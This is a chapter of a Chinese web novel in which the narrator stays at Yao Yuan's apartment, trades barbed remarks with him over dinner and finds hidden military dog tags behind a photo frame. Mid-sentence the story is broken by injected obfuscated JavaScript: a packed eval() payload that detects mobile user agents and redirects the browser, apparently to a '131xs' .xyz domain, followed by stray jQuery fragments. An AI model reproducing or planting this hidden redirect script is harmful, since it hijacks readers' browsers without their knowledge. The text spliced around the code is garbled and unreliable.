31. 无可自证的说法

作品:《上司说我不能掉马甲

    听起来好像很真诚。我在心里评估姚渊的说的话,之后他到底有多“不喜欢”纪殊珩,“不喜欢”到宁愿在我手底下“当狗”。


    “而且你找不到3821年之前的LEA历史。”我补全姚渊的话外,“所以,在这个时间点之前,要么,不存在LEA;要么,纪殊珩根本用不了你的A剂。”


    姚渊略微低头看着我推理。我讨厌被人俯视,不动声色地拉远距离,靠在电梯墙壁上。


    “就像,”我原本想提“姚瑎”的名字,最后我还是换了个说法,“失窃的含有RM成分的样本。理论上有记忆,但无法使用。”


    假如十四年前的RM和十年前的RM有相同的限制,或许应该说,技术不完备,纪殊珩需要更新版本的RM进行逆推,而“司南”,给了她这个机会。


    “恭喜,又多了解我一分。”


    姚渊没什么感情地甩下一句,踏出电梯,挥手打开公寓门,站在门外请我进门。


    我进门,看着他上锁,踌躇片刻,问他:“你有多恨纪殊珩?”


    “重要吗?”他反问我,“情感在你的算计里占了多少分量?”


    这算什么算计——


    我下意识地想去反驳,又想起我在停车场的那句“跟我做朋友纯添堵”,显得我这个问题问得像是十成的嘲讽。


    室内灯亮起,没有给我太多纠结的时间,姚渊轻叹一声:“我的感情是定量。你觉得,我恨你更多,还是恨纪殊珩更多?”


    纪殊珩。我在心里有答案。我倒宁愿姚渊真的像是讨债一样追着我寻仇,我也不想看见他像现在这样又纠结又徘徊。


    姚渊瞥了我一眼,好像真有多绅士似的留下这句话:“为了给你留点面子,这个达成共识的答案就不必多说了。”


    他路过客厅,把我看作是什么新朋友一样:“你有忌口吗?”


    “你现在问是不是太晚了?”我把我的行李放在沙发边上,给自己找了个好姿势半靠在沙发靠背上,“前天怎么没想起来问?”


    “啊,这确实是我的错。”姚渊挽起袖口,撑在开放式厨房的吧台上,“但姚瑎优先,你让让她。”


    把我说得像是跟晚辈抢东西一样。我无语地轻轻摇头:“我不挑。”


    姚渊没再追问我,转身跟开冰箱挑食材去了。


    我确认她的关注点不在我的身上,职业病发作地去摸索周围环境。


    房型倒是跟吴潍的差不多,单身公寓,空间不大。唯一不同的就是姚渊给厨房划了更大的空间,吴潍就没有对厨房区域做出什么修改。


    这人居然喜欢做饭?我没有找到第二个人长期生活的痕迹,但是找到了一些明显属于姚瑎的东西。暖色的围巾,还有件搭在沙发扶手上的女式外套。


    我拉开阳台门,看见角落的绿色盆栽。是很省心的那种植物,就算不浇水都能活个把月,跟姚渊老宅那种前院风格如出一辙。


    很没生活情趣的男人。我撇嘴,抬头去看阳台周围。开放式阳台,楼层不高,借助邻居们的阳台能迅速离开。


    标准的城市风景,视野倒是开阔。


    真有意思。我视线一路落到楼底,此时是道路高峰期,车流虽然在移动,但是很缓慢。


    没有可疑人物。


    我收回视线,把阳台门恢复原状。


    姚渊在厨房开了火,我对他如何做饭兴致缺缺。


    本想沉默地坐回去当一位有礼貌的客人,转而又想起姚渊把我的车翻了个底朝天,我顺手就拉开了手边的抽屉。


    我本以为能找到什么黑历史,但除了几本军事有关的书,似乎没找到什么个人爱好。


    翻开了最顶上的书,里面写满了笔记,字迹倒是跟我记忆里的那份“怪物”探索队调查报告一样。


    都说字如其人,但姚渊的字是很标准的行楷,那些弯弯绕的字母都是标准手写体。我愣是看不出这人有什么隐藏性格。


    我把我动过的东西放回原位,说不上是失望,还是果然如此的惋惜,转身离开,坐在厨房吧台前面的高脚凳上,撑着头去看姚渊的背影。


    刀工确实漂亮。我评价着,视线落在了吧台角落里的调酒套装上。


    “你找到了什么结论?”姚渊头也没回地问我,“如果很失望的话,你也可以去书房看看。”


    “我还以为你这种‘上流社会’人士十指不沾阳春水。”我没急着去书房,好整以暇地回话,“因为姚瑎?”


    姚渊没有转身面对我,我不知道他是什么表情。擦了一下刀,他才语气平淡地回答我:“不全是。”


    我等着姚渊说完,结果就这么不上不下地卡那了。


    这是几个意思?姚渊好像从来没有说一半过——我的意思是,姚渊虽然经常话里有话,但基本上字面意思还是完整的。


    思肘片刻,我开口:“因为你选择去做城市执行官指挥官,所以,你才会有一个妹妹?”


    “真聪明。”姚渊终于舍得转身,靠着在台上,抱胸看着我,“奖励你一个点菜的机会。”


    我跳过了这个“奖励”,不知道应不应该把我的想法说完。


    “你真应该学学我的直白。”姚渊看出我的欲言又止,“如果是我,我就不会放过这个机会。”


    克制住翻白眼的冲动,我带着几分恼火:“你觉得把人过去挖出来很有趣吗?”


    “不觉得。”他试图给我台阶失败,只好长叹一声,“你真的比你自己想的善良太多了,怎么做到的?”


    我怎么知道。我有些费解地盯着他:“你的人生里是没有正常说话的人吗?我看你和你妹妹相处不是挺正常的。”


    姚渊没有反驳我,挑眉示意我继续。


    求仁得仁,我也不是高尚的人。我给出我的推理,说实话,我觉得我要是姚渊,完全不爱听。


    “按照我的理解,”我努力让语气显得没有嘲讽,只是普通陈述,“如果我没有记错,你们这个姓是建城就在的,父母一代应该是商政联合,只缺少……一份漂亮的履历。”


    我移开了视线,让自己显得在专心推理,而不是和姚渊对视上。


    “指挥官学习年制长,服役时间短,能活着退伍的就少,活下来的大多是严重PTSD,按照家里人的看法,就是,”我沉默片刻,“死亡。”


    “没错。”姚渊耸肩,似乎对我的“委婉”毫不领情,“我就是那个去拿漂亮履历的工具人,姚瑎的未来才是他们想要的。”


    没人期望“姚渊”会正常活着回来,所以就连姚瑎手术的隐瞒都是一种残忍的,人道主义。


    我应该说点什么?


    我和他对视:“但你活着回来了?”


    “正常本身就是一种不正常。”姚渊转身掌控他的灶台,似乎心情很好地完善他的解释,“回到最开始的问题,我学做饭,主要是因为我受够了被当作精神解离的病人;其次,姚瑎嘴很挑,我在讨好她。”


    姚渊,你居然还有心情讨好姚瑎?我在心里腹诽着。要我,早离家出走了,反正大城市又不止这一个。


    “那,那些花孔雀技术你是从哪本杂志上学来的?”我比着下巴,故意挑起他的反驳,“对我来说,很烂。”


    “不试试怎么知道呢?”他给锅里的肉加了一把我看不懂的佐料,盖上锅盖,“随便说的,太正经了容易被人盯上。”


    “你以为自己是什么商业巨鳄,跟哪个人走近一点都会上头条?”我忍不住吐槽他,“会不会自我意识过剩了?”


    姚渊侧过身,给了我一个“彼此彼此”的眼神:“需要我提醒你在纪殊珩面前,你把自己塑造成了什么角色吗?”


    我再也不装了。


    我清清嗓子:“那不一样。”


    “不一样在哪里?”姚渊意味不明,但我知道他在逗我玩,“不一样在我是真的?”


    我有一种强烈地在手环上搜索“姚渊”这个词条的冲动,我倒要看看什么家庭养得出这种不明所以的长子。


    但我的手环在车里,没有办法验证,我嗤笑一声:“你把家里老宅炸了,你家里人也不管你?”


    他高贵地甩出四个字:“和你同理。”


    真是一点亏都不吃。


    我无语地摇头,起身摸进他的书房:“你说了算。反正那些东西要是有用,你还找我做什么。”


    姚渊的书房里划成了两个区域,正常书桌外还有一张矮凳和支架,上面放着几张纸,最显眼的地方放着琴盒。


    书房里除了整整两面的经典纸质书籍,还有一些乐理书。


    嗯,姚渊会乐器?我得到一个结论,但似乎又不太合理。在姚渊坐办公室和众人围坐的演奏之间,我选择了都不相信。


    我更信他把人摁在地上,枪口抵着对方后脑勺开枪。


    想法转瞬而过,我转而先去研究别的。


    这桌子看着就不便宜,我忍不住上手摸了一把。没想着去看他电脑里有什么,能放我进来,肯定是找不到什么有用的。


    书桌上只有倒扣的相框。我犹豫片刻,还是拿起来看了一眼。


    照片上是海蚀地貌。


    不是什么罕见的风景,不过色彩干净构图倒是很少见。由左上角延续至右下角的橙蓝渐变色调,画面中间矗立着黑白的石柱,画面看起来有几分落日余晖的宁静。


    仔细查看了一番,我没有找到可能存在的信息,似乎就只是一张简单的风景照片。


    但总感觉相框背板和相框有几分不贴合。


    用手确认一番,我思索片刻,干脆一不做二不休,干脆拆了背板,才发现是没有链子的军用识别牌。


    虽然我还是更喜欢叫它“狗牌”。


    真羡慕,我可没有这种东


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429235|182377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    西。我摸出那两片金属,思索着。管理局需要一具身份可控的生命维护执行官尸体,而不是一位需要纪念的士兵。


    姚渊的姓名,血型,职位等级。我翻到背面,上面是有轻微的起伏,大概是家族标记?我对此不感兴趣,没有看出什么。


    至于另一块,似乎是别人的。我有些意外。这种“战争纪念品”就算被拿回来了,也应该送给家属,姚渊怎么还私藏?


    那应该是战友了?我翻到背面,是空的。看来,这块狗牌的主人也是跟我差不多的普通小市民。


    不知道应该拿出什么表情回应这份久远的经历,我把这两片小小的金属放回了相框后,仔细地恢复原状。


    其实我大概知道,姚渊为什么没有把它送去应该还去的位置。我不会拿出那种恶毒揣测指认他,但别人可说不准。


    我转了个身,把注意力放在另一半空间上。


    支架上的琴谱让我有些意外,上面全部都是高音谱号,没有其他的。我的思绪停滞片刻,这人,不会是拉小提琴的吧?看起来就很专业,虽然我看不懂谱,但难易程度我还是大致有数的。


    我盯着很明显的琴盒,只需要拉开它看一眼,就知道我的猜测对不对。


    琢磨着要是去碰看起来起码能顶我两年薪水的琴,会不会被姚渊扫地出门?好奇心和诡异的求生欲在我心里搏斗。最后我还是什么都没做,离开了书房。


    除了看起来这男人很贵以外,没有别的结论。


    我实在是更费解了。


    就为了一个知道了世界也不会更好、自己也不会有所改变的真相,赌上自己本身就很优渥的生活?


    疯完了。但这就是姚渊要的,他就是想要我意识到这件事于他有多重要。


    心理战术。我深深地叹气,这就是我的弱点。


    我真的,真的宁愿姚渊就是个为了真相、组织和信仰偏执的疯子,至少我还有一大把手段直面他。


    姚渊说得对,我确实比自己想的善良多了。


    “找到你的化妆品了吗?”姚渊把餐具放好,看见我出来,勾起坏笑问我,“别只被我的琴吸引过去了。”


    “送你了。”我气不打一处来,刚刚那点微妙的情愫灰飞烟灭,“不用谢。”


    “唉,不解风情。”姚渊拉开椅子,示意我入座,“理论来说,专业的厨师会介绍自己的菜品,但很显然,你估计不会想听。”


    我毫不客气地坐在椅子上:“好厨子都在民间,姚总督。”


    没再和他贫嘴,我扫了一眼不是很家常的摆盘,有些生疏地拿起刀叉。我熟练地分割闻起来莫名很香的棕色肉排,琢磨着自己上次端着刀叉吃饭是什么时候……


    大概是没吃两口,手里刀叉就变成武器的那次餐厅暗杀?我有些想不起来。


    说到下层的进餐,不是色香味弃权的无奈,就是那个做饭很好吃的邻居。尽管他很快就在我的下层生活里变成背景音了。


    忽然才意识到,我不记得那位邻居的脸了。


    “没点评价?”姚渊拉回我的思绪,“还是你只会对甜品进行评价?”


    我当着他面重新吃了一口,尽量真诚地夸赞:“还行。”


    “行了,不逗你了。”被世俗意义上中等评价的主厨放弃从我嘴里听到好话,转移了话题,“说实话,吴潍说她晚上会找你,我才把你拉过来的,没什么别的想法。”


    “你平时生活就这样?”我手里的叉子戳进我不太了解的绿色蔬菜,真心实意地看他一眼,“我去过那么多人家里,你是第二个家里干净成这样的。”


    “第一个是谁?”姚渊莫名其妙地好胜心迫使他问出这个问题。


    我勾起嘴角:“我家。”


    哎,对,就这个无语又无力还带点恼火的表情。


    我低头迅速解决晚饭:“你收拾得像样板间,你想我有什么结论?”


    “没收拾。”姚渊再次重申,“因为东西都在组织里,要么就在手环里,你想找什么都得经过我本人才行。”


    有点眼熟的行事风格。我撑着下巴隐约有一种“你还好意思说我”的不屑:“那,狗牌也是觉得被别人看见无所谓的东西?”


    姚渊忽然有几分冷意。


    虽然眼睛不在我身上,但我有一种被什么东西盯上的错觉。上次在地下天文馆“吵架”,观念冲突那次,他真的有点动怒就是这种气势。


    “不用误会。”我偏头,“我不觉得你是‘凶手’。”


    “你应该发挥你的木头属性,把嘴闭上。”他猛地起身,收走我的空盘,“Wined·Caster。”


    “逃避可耻,姚渊。”我靠在椅背上,看着他的背影,“你把相框都倒扣了,我看不见反而是不专业吧?”


    “学得真快。”洗碗的人不咸不淡地评价我,“那你会说什么报复我?”